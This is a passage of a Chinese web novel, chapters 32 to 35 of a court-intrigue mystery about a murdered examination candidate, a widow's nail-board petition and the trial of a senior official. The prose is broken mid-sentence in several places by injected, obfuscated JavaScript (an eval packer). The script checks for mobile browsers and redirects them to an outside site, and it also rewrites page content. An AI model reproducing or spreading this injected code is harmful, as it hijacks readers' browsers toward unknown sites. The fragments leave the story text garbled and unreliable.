陛下罚严风半年俸禄，令他闭门静思己过。 虽然高期之案未能重启，但是太子最后的发问令所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊！”云娘低头捣菜，轻声应道。 “是豫州哪里？” 云娘手下微顿，“豫州治县。” 任知宜笑道：“真巧！我年幼时随父亲去过治县，有一座山上还有溶洞。” 云娘面色微白，唇角扯出一个笑容，“东家说的应该是石亭山。” “可是，石亭山上根本没有溶洞。” 云娘动作一停，缓缓地转过身来，唇色发白，神态尚算镇定。 “东家已经知道了？” 任知宜沉声道：“费举子说你是豫州人，可是你那日做的晚食中却有一道菜用的是鄂州的做法。两地菜式相差甚远，你虽极力掩饰，还是无法完全改变原本生活的习性。” 云娘默然不语。 任知宜继续问道：“昨夜进我屋子看尸验单的人是你吧。为什么？” 云娘倏地跪在地上，“求姑娘救我夫君！” 32. 坦诚 “你是高期的什么人？”任知宜审视着她，轻声问道。 云娘摇摇头，“我不认识高期。我夫君名唤葛政，三年前进京参加会试，之后便再也没有回来。 族中一个堂兄曾经进京找过他，得到的消息是他在路上被焦鸣山的山匪劫杀，尸骨无存。” 任知宜双眸微动，让她起身继续说。 “原本我没有怀疑。”云娘犹豫了一下，继续道：“去岁，听说焦鸣山的山匪被治县的衙差抓获，等着问斩。我花了些银钱，找牢头帮我去问夫君的尸骨扔在何处。没想到那山匪矢口否认，说根本没见过我夫君。” 云娘回忆起当时的心情，又惊又喜，觉得她夫君或许还在人世。 “那时我将这消息告诉那位族兄，却被他斥责一通，后来他又联合几个族中叔伯，把我关进祠堂。”云娘想起那段晦暗的日子，禁不住红了眼圈。 任知宜递出帕子。 铁锅里的水咕咕作响，腾腾的热气，一圈一圈向上冒着打转。 云娘拭掉泪，将面捞出来。 “先盛六碗送到膳屋，吃完饭再说！”任知宜说完，转身离开。 云娘止了哭泣，怔怔地望着任知宜的背影。 她到这里的时间尚短，对任知宜并不十分了解，只是觉得这位东家年纪虽小，行事却颇有章法。 只是不知道，东家愿不愿意帮她…… —— 早食间，云娘食不知味，几次偷偷望向任知宜，却见她神态如常，并未打算在其他人面前拆穿自己，不知是何意。 如往常一样，任知宜吩咐宝珠和云娘整理香铺开业所需的原料，接着问道：“林四哥，若我想入礼部查一份卷宗，有什么办法？” 云娘闻言一震，手指紧紧地扣住碗沿。 “此事须得问过殿下！” “殿下此时在东宫？” 林四道：“一大早，殿下与伊使臣去了华济寺。” “无妨！”任知宜唇角轻勾，语气却是淡淡的，“稍后麻烦林四哥陪我去趟华济寺，昨日宫宴之上，多亏伊使臣几次三番襄助，我方能全身而退，正好过去道声感谢。” 林四从这口气里听出几分意味不明，假作不察，低声应下。 —— 众人离开，任知宜单独留下云娘。 “你也听到了！我会去礼部核查卷宗。那一夜我见你立于檐下，望着礼部衙署默默发呆，你夫君的死是不是与科举有关？” 云娘双目泛泪，“东家猜得对。后来，我暗地里托人去找我夫君信中常提到的两位朋友，却没想到，他们亦在三年前暴毙。” “我心内十分惊恐！”云娘继续道：“想起会试后不久，我夫君曾让一个同乡捎回口信，说是科举未中，他与几位同窗要留在京中做一件大事，可能会迟些时候返乡。” 任知宜凝神沉思：“三年前，他们的大事大概就是告到礼部，提请朝廷复议会试！” “我不懂这些事，但是直觉告诉我，夫君的失踪和这件大事有关，可是知道了又如何！”云娘咬着下唇，“朝廷的事，我一介弱女子又能做什么！” 膳屋的门开着，一阵穿堂风吹过，震得窗棂砰砰作响。 风吹得云娘身冷，心也冷，冷地浑身发抖。 任知宜阖上窗，缓缓道：“你既然知道，又何必来兆京！以姐姐的容貌，再改嫁应该不是难事。” 云娘闻言，神情微苦，“我与夫君青梅竹马，鹣鲽情深，一日没见到他的尸首，我怎么甘心！ 上个月，科举舞弊案的消息传回平县，听说礼部尚书和礼部侍郎都下了狱，我不死心，偷偷变卖了嫁妆，逃出了夫家，想来京城再试一次。若这一次还找不到，我便忘掉他，返回乡里。” 说完，云娘的泪像串珠滑落。 起风不过半个时辰，团团黑云拢聚，遮住半边天光，阴风阵阵，将院里的树摇得枝叶零落。 林四备好马车，在院外等候。 “当日与你夫君一起去礼部的人当中，就有高期？” 云娘点点头，所以这就是她当初非要留在这里的原因。 任知宜薄唇紧抿，如果云娘所说不虚，便是三年前，六个举子同时告到礼部，最终三人无事，二人暴毙，一人失踪。 所以，许乐元、董嗣业和高期之间除了贡士院同窗的身份，还有这一层联结。 “另外两人叫什么名字，籍贯何处？” “崔如璟和崔如珩，安州人。” 任知宜双眸一闪，“他们是兄弟？” “不是亲兄弟，只是同宗。” 任知宜又问道：“你可知他们因何暴毙？” “听说是心疾，他们家中有几位长辈也是因心疾而死。” 任知宜静默了半晌，缓缓道：“费子奇心悦于你！” 云娘一怔，面上浮出几分窘迫，“东家怎么突然提这个？” “看来你也是知道的。” 云娘叹道：“情爱浸于眼神之中，藏也藏不住，我又怎会不知！费举子虽然对我很好，却不是我夫君，我不能与他言明，只能冷着他。” “若你夫君……”，任知宜话语稍顿，“若你夫君已不在人世，你还非要查下去吗？” 三年前失踪的人，若是还活着，不会一直不现身。若有良缘，当自珍惜。 云娘聪慧，听懂了她的言外之意，苦笑道：“我也知道！他可能已经死了，我只是不甘心……” 酝酿了半日的骤雨终于倾盆而下，雨珠弹落在地上，蹦得直高，天色阴沉得不像白日。 云娘呆呆地望着窗外，眼中了无神采。 任知宜突然问道：“云娘姐姐，昨日晾晒的香料收了吗？” 云娘如大梦初醒，期期艾艾道：“收是收了！不过香料最怕潮，我，我再去多放些樟木，还得多隔两层席子……” “姐姐能把心思放在眼前就好！等我回来！” 任知宜穿好雨披，走入接天雨幕之中。 ———— 溧水纵贯兆京南北，毗邻宫城，西接漛水，东连运河。因此京城水路畅通发达，一应物品多由运河商船运送而来，物资丰盈。 沿溧水与运河交接处向东，是禹山脚下。传言数百年前此处曾泛洪灾，是以以大禹之名命名，以示震慑之意。 华济寺正坐落于禹山之上，前朝有西域高僧前来传经，坐化于此。因此华济寺声名远播，香火鼎盛。 二人沿南城门绕行。 大雨滂沱，泥泞遍地，马车行进缓慢。 林四紧拉缰绳，马蹄高抬，甩去污泥，下一脚落地，却又深陷泥淖。 “咚，咚……” 前方不远处，传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任知宜微微一怔，她竟然忘了！佛诞之日，乃是佛祖诞生的日子，民间常有礼佛、放生的习俗。 她生于灵州，因为灵州信佛之人较少，以至于她没有在意，难怪伊柘非要今日去华济寺。 景随挤入洞中，才发现任知宜双脚一直泡在水里。 他面色一变，“你的脚？” 任知宜长叹了口气，亦开着玩笑道：“我以为景公子的身边最起码会有匹马。” 下一瞬间，景随突然欺身上前，低声道，“失礼了！”。 右手贴着她的脊背，一下子将她横抱起来。 失重的感觉骤然袭来，任知宜惊吓道：“你做什么？” 杏目圆睁，一向冷静的双眸第一次染上了慌乱，被雨水打湿的鬓发斜着，宛如在白皙的额上贴了一片黑色花钿。 景随视线落下，心跳猛地漏了一瞬。 “姑娘的脚入水太久，不能再这么站着了！” 不远处，卫枢勒马而停。 冰玉灯下，微雨燕双飞。 33. 真相 雨歇，月出。 大半月光被云层遮掩，露出些微清光。 卫枢遥望着洞口，眼神晦暗不明。 主子一直沉默，跟在后面的林九没来由地生出几分忐忑，不敢作声。 风声凛凛，蹄声哒哒。 卫枢驱马向前，执缰的手越攥越紧，泛白的指骨被勒出深痕。 雨地泥泞，行走不快。 卫枢小腿夹紧马肚，猛地用力一拉，衔铁勒得马儿生疼，发出阵阵嘶鸣。 洞内二人听到声音，朝外望去，恰巧捕捉到卫枢眼神中的一抹冷光，幽邃难明。 任知宜欢声道：“殿下骑马来了！放我下来！” 景随未动。 任知宜心中恼怒，猛一挣扎，二人双双摔坐在地上。 景随苦笑：“任女史，景某刚才不是不放，是手臂麻了。” 虽是抱着，他却一直守礼，身体未贴近她分毫。这种姿势下，双臂早已脱力。 任知宜闻言一怔。 “知宜！”卫枢阔踏步而入，狭小的洞穴挤入三个人，立刻变得拥挤。 二人陷在洞口的洼里，满身泥水，形容狼狈。 卫枢解掉披风，换下她身上的雨披，转望向景随，眼神微冷。 “景公子怎么在这儿？” “殿下万安！”景随颔首，“臣本是要去华济寺敬佛，谁知被暴雨阻在半路。” “这么巧！”卫枢淡淡道，唇角绷成一条直线，“孤记得多年前，与公子匆匆见过一面，亦是一个雨日。” 景随笑意微敛。 当年他听说兄长失踪，未去贡院参加会试，心急如焚地走在街上，恰巧撞到孤身回京的太子。 两个少年，一言不合，打了起来。 直打得衣衫褴破，满脸是伤。 后来景府的下人找过来，说大公子的尸体被人抬回府中。 打得正狠的景随闻言，怔怔地立在原地，一动也不动，像一尊破碎的琉璃像。 卫枢收了拳头，背起散落的行囊，转身离开。 那日之后，二人再未相见。 “会试重考在即，景公子满腹才华，知礼明礼，还是应将精力放在科举上。” 此言不善，带着几分警示的意味儿。 任知宜眉间微动，侧目望向卫枢，那双净水般的眸子底下，尽是淡漠之色。 “殿下说得是！”景随淡淡一笑，“家母信佛，以前每年佛诞之日都要斋戒敬礼，臣只是为全亡母心意，并非刻意见什么人。 二人的言语，你来我往，暗藏机锋。 任知宜听懂一些，却没完全听懂。 景随似乎在暗示她，卫枢来华济寺，不只是陪伊柘这么简单。 卫枢眼神深沉，他以掌托腰，将任知宜扶到马背上。 “坐稳了！” 右手轻拍马背，让马儿向前走了几步。 任知宜双腿弛软，死死地拉着缰绳，回望身后二人。 隔着一段距离，他们说话的声音很小，她听不清二人的谈话。 月色渐浓，清辉落在卫枢的侧脸上，绷紧的下颌线泄露了他的情绪。 任知宜看得分明，卫枢此时正处在盛怒之中。 —— 二人对面相顾。 卫枢玉容冷肃，“景公子，究竟意欲何为？” 景随拱手，不以为意地笑道：“只是想助任女史一臂之力。” 之前擂响登闻鼓时，他故意提点任知宜；后来又将卓老介绍给她，他像一个旁观在局外的看客，又像一个隐藏在暗处的推动者。 此中意图，无人知晓。 卫枢眉头深蹙，“她是东宫幕僚，东宫如何行事，孤自有分寸，不需要外人来插手。” “或许，任女史并不这么认为。”景随眸中带笑，“刚才在山洞里，景某与任女史都觉得，既然肖显秀死于心挠之毒，安州的两位举子会不会也是……” 话顿了一下，他笑容意味不明，“是不是有人早已将此事告知殿下？毕竟这两人是安州人。” “够了！”卫枢拂袖，双眸蕴满寒冰，“景随，此事和你无关。” 说完，卫枢不欲多言，转身离开。 “呵。” 景随在他的身后轻笑，“景某也未料到，会在华济寺见到太子与安州王。臣斗胆一问，任女史既然是殿下信任的幕僚，殿下为何不能将与安州王结盟一事如实告知？” 卫枢脚下微顿，继而无言。 旷野空静，惟余簌簌风声。 ———— 回华济寺的路上，天边泛起雨后霞光，璀璨夺目。 天初放晴，华济寺门前路已被清理干净。 任知宜在寺后的庵堂借了套缁衣换上。 一路上，她思忖半晌，渐渐明白过来。 景随在暗示她，太子明着是陪伊柘到华济寺礼佛，实际是为了私下见某人。 既是太子的私事，她虽是东宫幕僚，亦不好深问。只是太子一贯冷静淡漠，不知道景随究竟说了什么，惹他盛怒。 不过，如今最紧迫之事，当是查出高期这一连串案子背后的幕后真凶，至于太子的私事，他想说的时候，自然会告诉她。 她将长发挽成简髻，歩出庵房。 寺中古树参天，山岚雾霭，被雨水打湿的枝叶苍翠欲滴。漫山青绿，衬得颀长的背影修如青竹。 两个小沙弥走过来，双手合十，“殿下，伊施主说要与主持一起诵经，请殿下自便。” 小沙弥走后，卫枢对着任知宜上下打量一番，确定她身无大碍，轻声道：“走吧！” 穿过一片竹林，越过后山山门，沿斋堂向西，可见一四方周廊。 四面白瓦高墙，重檐琉璃屋顶，回廊曲绕，不似一般群房简陋。 推开东厢房的门。 林七和林九站在房内。 卫枢打开案上的黑漆木盒，“这是你要的礼部卷宗。” 任知宜微怔。 心中禁不住狐疑，这件事，太子是从何处得知？ “孤之前侥幸找到一位当时即将致仕的礼部主事，他告诉我那几位告到礼部的举子姓名，与你所说的不谋而合。” 任知宜匆匆翻看，卷宗上面记载着这几人的籍贯出处和会试成绩。 旁边的一摞是大理寺卷宗。 显然，卫枢早已知晓此事，并将卷宗都调了出来。 “卷宗上记载，云娘的夫君葛政死于焦鸣山，大理寺办事实在潦草，连这都不查证！” 卫枢沉声道：“三年前，山匪尚未落网，也无人会想到，落榜举子的死因可疑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任知宜长叹一声，语带遗憾，“大胤百余年，又有几人能做到十六岁便高中状元呢。” 民间流传，“生子当如程可靖”。程可靖十六岁高中状元，入朝不到五年，升任翰林院大学士兼吏部侍郎，在嘉以之乱时，还曾效力于郭老将军麾下参与平叛，称得上武能定国，文可兴邦。” 可惜了。 任知宜眸色清明，“国子监祭酒程可靖，可是景相最得意的门生。” 此案一揭，太子与景相之间薄如蝉翼的结盟会在顷刻之间破裂开来。 任知宜欲言又止，终究说出来：“景相会不会转而站在安王那边？” 卫枢神色悠然，甚至还带着淡淡的笑意，“我若说会，你便停手？” 任知宜心中五味杂陈，默然不语。 过了半晌，她轻声道：“自然不能。” 屋内檀香袅袅，沁人心扉。 任知宜淡淡笑道，“于公，此案冤魂累累，必当昭明天下，告慰亡灵；于私，此案一破，程可靖和严风再无翻身之可能，景相骤失左膀右臂，便是殿下扶植势力的大好时机。” 34. 滚钉 翌日。 唐橘将一包东西扔到案上。 “准了。就是他！” 任知宜打开纸包，里面是一团锯齿状水草，与那日在高期胃里发现的相似。 “找卓老验过了？” 唐橘翘着脚，点点头，“我夜探程府，后院有一口大缸，那缸沿与尸验单上的肋骨压痕很像，再加上这水草，基本可以确定，高期死在程府。” “嗯！”任知宜心道，其实还差一件，不过时间太紧，等不得了。 唐橘以指蘸水，在桌案上分别写出五个被害之人的姓名，分别是高期、冯大郎、窈娘、施施和莺儿。 “死的这五个人，你打算让谁家来提告？总不能是你自己吧。” 任知宜沉思片刻，“冯家大娘子肯为她夫君申冤吗？” “呵呵……”，唐橘冷哼，“她告冯二郎是为了夺人家产，自从听说她夫君的死另有内情，吓得每日哭嚎。登堂做人证尚且不能，你还指望她递诉状，指望她还不如指望一头猪！” “年敬之也不行，他与施施尚未成婚，做不得此事。窈娘和莺儿皆无父无母……” 任知宜斟酌片刻，眉头深蹙，“还是只有冯大娘子最合适。” 唐橘两手一摊，“她不肯啊。” “那也要逼着她做。”任知宜眸中闪过一丝杀伐之意，“她养的那个姘头，是个常年流连赌场的浪荡子；不行，我们便从他下手，无论如何不能再拖了。” 昨夜林七赶到贡士院，堪堪从杀手剑下救下许、董二人，如今安置在苏家旧宅。 今日早朝，安王奉旨南下，以兵部郎中兼巡道钦差的名义，前往靖南道督办军资一事。 山雨欲来风满楼。 一步不慎，东宫便有倾覆之险，她要借这案子，重新打乱朝堂局势。 竹门帘被掀开。 云娘走进来，轻声道：“不如让我去吧！” 任知宜摇了摇头，“你夫君的案子三年前结案，名义上的凶手早已伏法。按照大胤律疏，即使重诉此案，也当由平县或者治县审理。越级提告，是行不通的。” 云娘对律疏一无所知，怔了半晌方道：“那，那我就回乡，去平县县衙告状。” 任知宜无言以对，不知道该如何向她解释。 状告当朝国子监祭酒，姑且不论平县县衙敢不敢接，单说此案案情之复杂，待转至刑部和大理寺复审，至少要一年。 京城朝局一日一变，朝中传言，政事堂空缺一人，便是景相为程可靖留的位置。 变数太多，等不得！ “越级提告……”，唐橘突然想起什么，但是瞥了云娘一眼后，又噤了口。 任知宜秀眉微动。 云娘似有察觉，恳切道：“唐姑娘若有办法，请务必告知于我，云娘感激不尽。” 唐橘与任知宜相视一眼，苦笑道：“办法倒是有一个，但是你弱质纤纤，根本做不来，不如不给你希望。” “求唐姑娘告知！”云娘倏地跪地。 任知宜薄唇轻压，缓缓道：“不是唐橘不说，是此法过于残酷。” 云娘再拜，“请东家明示。” 任知宜沉吟半晌，“律疏首卷，若要越级提告审结之案，必得状告人亲自滚过铁钉板，方能将诉状递至大理寺。” 云娘脸色刷白，咬着下唇不说话。 “铁钉板长一丈，宽九尺，每隔半尺立一枚四寸长的铁钉，自下而上穿透木板，人须俯卧于钉尖上滚过去。 铁钉刺穿全身，会在身上扎出数十血洞，翻身之时，身体猛然落下，犹如坠入阿鼻地狱一般痛苦。” 任知宜刻意描述恐怖之状，想要打消她的念头。 云娘听得浑身剧颤，眼神茫然，“之前，可有人试过？” “我看过卷宗，本朝仅四人试过，二人成功，二人死在钉板上。”唐橘道。 云娘身躯一震，瘫坐在地上。 任知宜蹲下身子，目色温柔，“云娘，算了，还会有别的办法。” “可是……”，云娘笑中带泪，“这是最快的法子，对吗？” 任知宜垂眸，“还有冯大娘子。” “你们的话我都听见了！冯大娘子这种人，若在公堂之上突然反口，我夫君的仇便报不了了。” 云娘咬着下唇，神思恍惚地望着窗外。 一只小黄雀停在窗棂边，尖尖的喙嘴啄着窗框，小心翼翼地迈着爪子，一步步地朝前走去。 云娘怔怔地看了半晌，当年成婚后的第二日，夫君曾送给她一只雀鸟，同样是纹黑色的贯眼，嫩黄的腰羽，也带着小小的喙嘴，很是可爱。 只不过，在知道夫君死讯的那一日，她将那只鸟放飞了。 云娘缓缓地撑起身子，拍了拍裙角的尘土，神情凄然。 “东家，就这么定了。我滚过这一遭，就算对得起他了，日后返乡，我就能心安理得地改嫁他人。” 说完，她转身离去，再不回头。 —— 天亮之后，门肆挂上招牌开始迎客，街市上的百姓渐多，又是新的一日。 “花，糕……”，拖长的叫卖声层层叠叠，传入院内，透着几分市井烟火气。 云娘坐在铜镜前，梳蓖自发间顺滑而过，发尾被握在掌心里。 青丝染霜，不过双十年华，竟也华发早生。 云娘细描黛眉，涵烟眉轻盈朦胧，如烟含醉，最是考验手功，因为无人答深浅，她画得极慢。 对镜揽照，烟笼秋水，如梦似幻。 云娘笑笑，这倒是自己画得最满意的一次。 如此甚好！ 她谢绝了诸人的陪同，独自一人来到大理寺。 门前守卫正逢更值，瞧见一纤弱女子立于门前。 “提告？”守卫见惯了，答得极顺溜，“前行五十步，右转直行，是兆京府衙。” 云娘福身道：“民女夫君之案已审结，民女想要过钉板，提请大理寺重审。” 守卫愣了一下，细瞥一眼，她一身孝服，头戴白色绢花，纤细的四肢隐在宽大的袍袖下，显得柔弱无依，楚楚动人。 “这……”，守卫心有不忍，劝道：“你还是走吧。你这身板儿滚钉板，只是白送性命。” 云娘轻声道：“民女心意已决。官爷若不同意，民女就撞死在大理寺门前。 守卫大吃一惊，忙交代其他人看好这女子，急匆匆进去禀报。 急奔之下，慌不择路，正好与人撞个正着。 他定晴一看，“唐捕快。” 唐橘揉着撞疼的胳膊，“慌里慌张的像什么样子！出什么事儿了？” “外面来了一女子要滚钉板，属下正要去禀明大人。” 唐橘打着哈欠道：“寺卿大人和少卿大人去了邻县，一时之间回不来。” 守卫犯了难。 唐橘笑道：“余寺正此刻在刑堂。” —— 大理寺正余则光听了守卫的话，放下手中烧得通红的烙铁，眯着小眼，“走！去看看。” 余则光见到云娘，问明来由，唇角生出一丝笑意。 这不是天降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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东家说得似乎是，“要快！” 唐橘也说了很多话，“必须绷紧全身，翻身之时用手指撑住……”，可是东家只说了两个字——“要快！” 她以指尖撑在木板空白处，一点点地将身体从铁钉上拔出来，这个过程竟比扎进去还要痛苦百倍。 停留的时间越久，钉子扎进去地越深。 “要快！” 云娘望着前面的钉板，眼前像是有一座木桥，被团团光束包裹着。 她的视线愈发模糊，她奋力撑起身子，深吸一口气。 “啊……”，她大喊一声，用尽全身力气，从那座桥上滚过去。 “咚！”身子重重地砸在地上。 围观之人发出阵阵惊呼。 云娘虚弱地睁开双眼，从怀中掏出那张染血的诉状，“我要状告国子监祭酒程，可，靖。” 说完，她便晕了过去。 余则光猛地一震，不敢置信地问旁边守卫，“她说她要告谁？” 守卫小声嗫嚅道：“国，国子监祭酒。” “大夫！”唐橘高喊。 人群中立刻跑出一个老者，打开药箱，皆是备好的止血良药。 余则光满脸阴沉地握着诉状，指着早已晕死过去的云娘喊道：“廖云娘！你居然敢骗本官，说你要告的人是夫家族兄。” 唐橘朗声道：“云娘并未欺瞒寺正，她要告两人，一位是夫家族兄，一位是国子监祭酒程可靖。” 云娘未死，被老大夫救活了下来。 围观的百姓渐渐散去。 “唐橘！”余则光站在钉板前，突然转身怒瞪唐橘，低声暴喝，“你好大的胆子！居然敢在钉板上做手脚！” 35. 案终 八十八枚铁钉，最中间的部分有一半被磨去了钉尖。铁钉的高度也被作了调整，高度完全一致，整齐划一。 持平的高度，会对上方的躯体形成一定的撑托，只要速度够快，伤害就会降到最小。 唐橘故作惊讶，“钉板被做了手脚吗？” 她的表情做得过于浮夸，直把余则光气得浑身发抖。 “你与那女子早就相识，不是你是谁？唐橘！不要仗着林大人宠信，你就为所欲为，我一定会将此事上报朝廷。” 唐橘神情肃厉，冷笑道：“今日之事，已传遍京城。余寺正，你一未核实诉状，二未核查铁钉，贸贸然就让云娘滚了钉板。如今木已成舟，云娘折了半条命进去，此中罪责难逃。余寺正若执意上报朝廷，悉听尊便。” 余则光气得几乎厥倒。 ………… 大理寺卿林居正快马回京。 入宫城，接圣旨，开公堂，不过短短半日。 午时刚过，云层渐厚，空气压抑而憋闷，令人窒息。 围观的百姓翘首望去，御史台、刑部、礼部陆续来人，捕快押解着一干人证上堂。 瞧这架势，百姓纷纷纳罕，不到两个月，这已是第二次大理寺三司会审。上一次是礼部尚书肖显秀，这一次是国子监祭酒程可靖。 当朝三品，何等位高权重！怎么会与一乡野妇人的夫君之死有关！ 待廖云娘陈述案情之后，众人皆是目瞪口呆。 三年前行科举舞弊，杀三名落榜举子，为隐瞒此事，又杀今科举子高期、礼部尚书肖显秀、凌香阁三名舞姬以及冯大郎。 之前闹得沸沸扬扬的高期案再一次被提起，堂上众人变了脸色。 过了片刻，南衙卫中郎将严风到堂。 礼部尚书袁宏见状，瞥向林居正的眼神深沉肃厉，“林大人与东宫这是唱得哪一出啊？” 林居正面色淡定，“本官昨夜才回京，不明白袁大人是何意！” 袁宏冷脸不言。 人证陆续到堂，却不见程可靖。 林居正朗声解释，“程大人如今重病在床，待案情明朗，本官自会将其押解到堂。” “大人，若他趁机跑了呢？”云娘问道。 “你放心！此刻有四十名衙卫正守在程府。” 致仕的礼部官员证实，当年程可靖在咸宁四年行科举舞弊，致使葛政、高期等六名举子闹到礼部。 唯恐兴起文祸，程可靖分化利导，以保其高中作为承诺，利用许乐元、董嗣业和高期，杀害其余三人。 安州崔如璟和崔如珩的尸骨已被验过，死于心挠之毒，与礼部尚书肖显秀所中之毒完全一致。 任知宜说完，双手奉上物证，“这是尸验单，还有黑市的花名册，上面有三年前程府管家买过心挠之毒的记录。” 袁宏突然道：“任女史不过一个内廷女官，以什么身份来查此案？” 任知宜笑道：“当初东宫协同大理寺查实高期一案，乃是圣令所下。袁大人难道忘了，太子殿下是因何受罚？” 高期一案牵涉其中，东宫介入，自然让袁宏无话可说。 接着年敬之、冯大娘子、屠户一一作证，许乐元和董嗣业的面色越来越灰败。 任知宜走到许乐元面前，“那人派杀手杀你们，你还要替他遮掩？” 许乐元面色惨白，张着嘴唇，“我，我什么都不知道。” 他心知今日无法脱身，可是家人还得活命。 任知宜摇了摇头，笑道：“你不说倒也罢了。左右还有别的证据。” 她转而望向严风，“城门守卫说，三月初十子时，严将军曾驾马车出城，子时一刻回来时却是骑马回来。请问马车呢？” “南衙公务！恕不奉告！”严风面无表情道。 举子应宣站出来，“一派胡言。高期酉时三刻在贡士院饮酒，一直到子时回房，是我等亲眼所见，根本不可能像你所说，被严大人带到城外。” 十几个举子纷纷附和。 任知宜并不理会，继续问严风，“刚才冯大娘子说过，程大人在戌时将马车交给严将军，请问戌时至子时之间，将军去了哪儿？” 严风默然不语。 “一个人自然不会同时出现在两个地方。高期腹中的水草和肋下压痕证明，他死于程府的水缸中，所以在贡士院的人不是高期。” 任知宜的视线扫过贡士院众人，朗声道：“那夜云深月暗，贡士院的怡然亭在水榭内，走过去需要穿过一段石板路，你们是站在什么位置看到高期？” 十几个举子面面相觑，那夜并未走近，远远地看到亭中之人在饮酒，那身形、衣着，分明就是高期的样子。 “任凭你巧舌如簧，也改变不了真相。”应宣冷笑，“那夜子时，我与许兄、董兄和况兄一起，背高期回房，许兄和董兄姑且不提，我与况兄看得分明。我愿以性命起誓，那人就是高期。” “应举子说得不错。”任知宜笑道：“那人确是高期。” 堂上诸人闻言皆惊。 她话锋一转，“只不过，不是活着的高期。” 应宣面色一变，失声道：“你的意思是……” “是高期的尸体。” 任知宜拿出一件黑色侧襟窄袖球纹锦袍，“高期为人吝啬，对这件锦袍极为爱惜，只在会试时穿过一次。 大家可曾想过，为何他那夜要穿着这件衣服买醉？” 众人面色纷呈，各有所思。 “因为亭中饮酒的是一个与高期身形相似之人，他匆忙来做这个替身，随意从衣奁中挑了一件。” 应宣语气微弱，“这是你的猜测吧。” “证据就在这衣袍的袖口上。”任知宜举起袍袖，展示给众人，“这袖口上的油渍，乃是桐子油。” 董嗣业身形微晃，不可置信地看着她。 “桐子油少见，京城只一家油坊。那夜假代高期之人正是这家油坊的一个长工，唐橘已取回他的证词。” “不可能！”董嗣业脱口而出。 任知宜笑看着他，“为何不可能？董举子是不是想说，他已经死了？” 董嗣业双目阴沉，不发一语。 “天网恢恢，疏而不漏。”任知宜长叹一声，“他那日没有死绝，被人救了下来。” 董嗣业肩膀微垂，面色煞白。 他想起那日将那榨油匠推下井后，他急着赶回贡士院，没有确认人究竟死了没有。 任知宜继续道：“原本许、董、高三人已位列三甲，可是科举舞弊之案一出，贡士被废。高期心知才学不及众人，终日焦躁。 此时，许、董二人假意安抚，再次给他承诺。高期才会一反常态，告诉同舍年敬之自己必能高中，还写了一封家信。 高期在修补砚台的路上，发现这是个谎言，恼怒之下去到程府，结果意外溺死府中。程可靖令许、董二人找一个身形与高期相似之人伪装高期，匆忙之间，他们只找到这个油坊的长工。 严风将尸体带回贡士院，许、董二人将尸体抱入亭中，伪装成酒醉不醒，坐实高期醉酒回房的传言，严风再驾车出城投尸曲江。 原本尸体被绑缚了石块扔进曲江，不会这么快被发现，可惜那日月动潮汐，尸体被卷了上来。” 任知宜问严风，“这算不算是严将军的失策？” 严风默然。 许乐元见大势已去，猛地磕头，“学生认罪。高期之死，学生也是被逼的，求姑娘救我家人性命……” 待他说完，林居正道：“唐橘，去程府带人过来。” “等一下。”任知宜突然道：“大人，他还少说了一桩案子。” 许乐元茫然。 站到他面前，冷冷看他，“你害的人只有高期吗？” “你还记不记得窈娘、施施和莺儿？你将那得了失心疯的屠户引过去，将她们砍得血肉模糊，你认罪的时候可曾想起她们？心中可曾有一丝忏悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127514|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 声声掷地，围观众人鸦鹊无声。 —— 唐橘与任知宜奉命去程府拿人。 二人从堂前而下，百姓自觉退后，让出一条阔路。 人群中投到她们身上的目光中多是惊叹，还夹杂着几分好奇。 任知宜从容颔首，淡然处之。 女子的朝堂之路不易，却也不是无路可走。 争取百姓的支持，赢得民间的威望，于她，于东宫，皆是利处。 唐橘低声耳语，“你方才说我已取回油工的证词，什么证词？那人不是死了吗……你当时这么一说，惊出我一身冷汗。” 任知宜眨了眨眼睛，笑道：“我是诈他的！” … 天际墨云翻滚，风渐起。 程府门前，卫枢一身玄色广袖长袍，腰间别汉玉九龙珏，衣袂飘风，木秀于林。 任知宜上前见礼，“殿下怎地也来了？” 卫枢敛眉，“孤想见见当年名动天下的程可靖，问他几句话。” “正巧。”任知宜道：“我也有句话想问他。” 三人进府。 府中布局匠心独运，亭台楼阁、假山林石布置地错落有致，只是园中乱草丛生，透着几分荒败之感，影响了景致。 越至后院，这种感觉愈甚，连园中的仆从都透着沉沉暮气。 行至后院，唐橘指着一口水缸，“这就是高期真正的溺死之地。” 水缸里的小鱼儿摆着细尾，在其中游来游去，嬉戏玩乐地不亦乐乎。 看起来，这口水缸是整个府中唯一带些生趣的地方。不知道是不是因为这个原因，程可靖没有选择毁掉它。 任知宜下意识地对自己摇摇头。 